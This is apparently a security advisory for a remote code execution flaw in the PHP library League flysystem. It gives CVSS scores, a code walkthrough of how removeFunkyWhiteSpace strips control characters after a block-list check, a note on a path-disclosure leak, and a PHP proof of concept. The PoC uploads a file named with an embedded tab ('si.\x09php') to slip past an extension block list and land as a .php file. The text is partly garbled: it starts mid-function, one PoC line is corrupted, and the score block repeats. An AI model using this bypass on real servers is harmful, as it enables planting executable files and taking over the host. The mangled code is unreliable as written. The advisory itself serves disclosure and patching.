8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.007 Low
EPSS
Percentile
80.1%
Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on affected installations of League flysystem. Authentication may not be required to exploit this vulnerability. The specific flaw exists within the removeFunkyWhiteSpace function. The issue results from a change in the supplied filename which can introduce a time-of-check time-of-use condition. An attacker can leverage this vulnerability to write arbitrary files on a target web server.
Affected Vendors:
League
Affected Products:
flysystem
Vendor Response:
League has issued an update to correct this vulnerability. More details can be found at: <https://github.com/thephpleague/flysystem/security/advisories/GHSA-9f46-5r25-5wfm>
assertAbsent($path);
$config = $this->prepareConfig($config);
Util::rewindStream($resource);
return (bool) $this->getAdapter()->writeStream($path, $resource, $config);
}
public function assertAbsent($path)
{
if ($this->config->get('disable_asserts', false) === false && $this->has($path)) {
throw new FileExistsException($path); // whoops
}
}
```
At [1] the `normalizePath` method is called:
```php
class Util
{
//...
public static function normalizePath($path)
{
return static::normalizeRelativePath($path); // 2
}
public static function normalizeRelativePath($path)
{
$path = str_replace('\\', '/', $path);
$path = static::removeFunkyWhiteSpace($path); // 3
$parts = [];
foreach (explode('/', $path) as $part) {
switch ($part) {
case '':
case '.':
break;
case '..':
if (empty($parts)) {
throw new LogicException(
'Path is outside of the defined root, path: [' . $path . ']'
);
}
array_pop($parts);
break;
default:
$parts[] = $part;
break;
}
}
return implode('/', $parts);
}
```
The code calls `normalizeRelativePath` with the attackers supplied filename at [2] and then calls the `removeFunkyWhiteSpace` function at [3]. Let's investigate this function defined in the same class:
```php
protected static function removeFunkyWhiteSpace($path) {
// We do this check in a loop, since removing invalid unicode characters
// can lead to new characters being created.
while (preg_match('#\p{C}+|^\./#u', $path)) {
$path = preg_replace('#\p{C}+|^\./#u', '', $path);
}
return $path;
}
```
In summary the code is stripping the filename of any non-printable characters (invisible control characters and unused code points 0x00â0x1F and 0x7Fâ0x9F) which can be used to bypass block list checks. But definitely props for the .. check ;-)
# Bonus:
The `assertAbsent` call will throw a `FileExistsException` which leaks the full path of the web root to an attacker if the same file is uploaded. You probably want to fix that information disclosure bug too.
# Example:
researcher@neophyte:~$ php poc.php
(+) vuln
*/
require __DIR__.'/vendor/autoload.php';
if (file_exists("output/si.php")) unlink("output/si.php");
$blocklist = [
'php',
'php3',
'php4',
'php5',
'phtml',
'cgi',
'pl',
'sh',
'com',
'bat',
'',
'py',
'rb',
];
// this would be the attack coming from over the web
$filename = "si.\x09php";
$d = pathinfo($filename);
if (in_array($d["extension"], $blocklist, true)) die("(-) blocked, nice try attacker!\r\n");
$adapter = new League\Flysystem\Local\LocalFilesystemAdapter(__DIR__.'/output');
$filesystem = new League\Flysystem\Filesystem($adapter);
$str = "writeStream($filename, $stream);
echo file_exists("output/si.php") == true ? "(+) vuln\r\n" : "(+) not vuln\r\n";
?>
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.007 Low
EPSS
Percentile
80.1%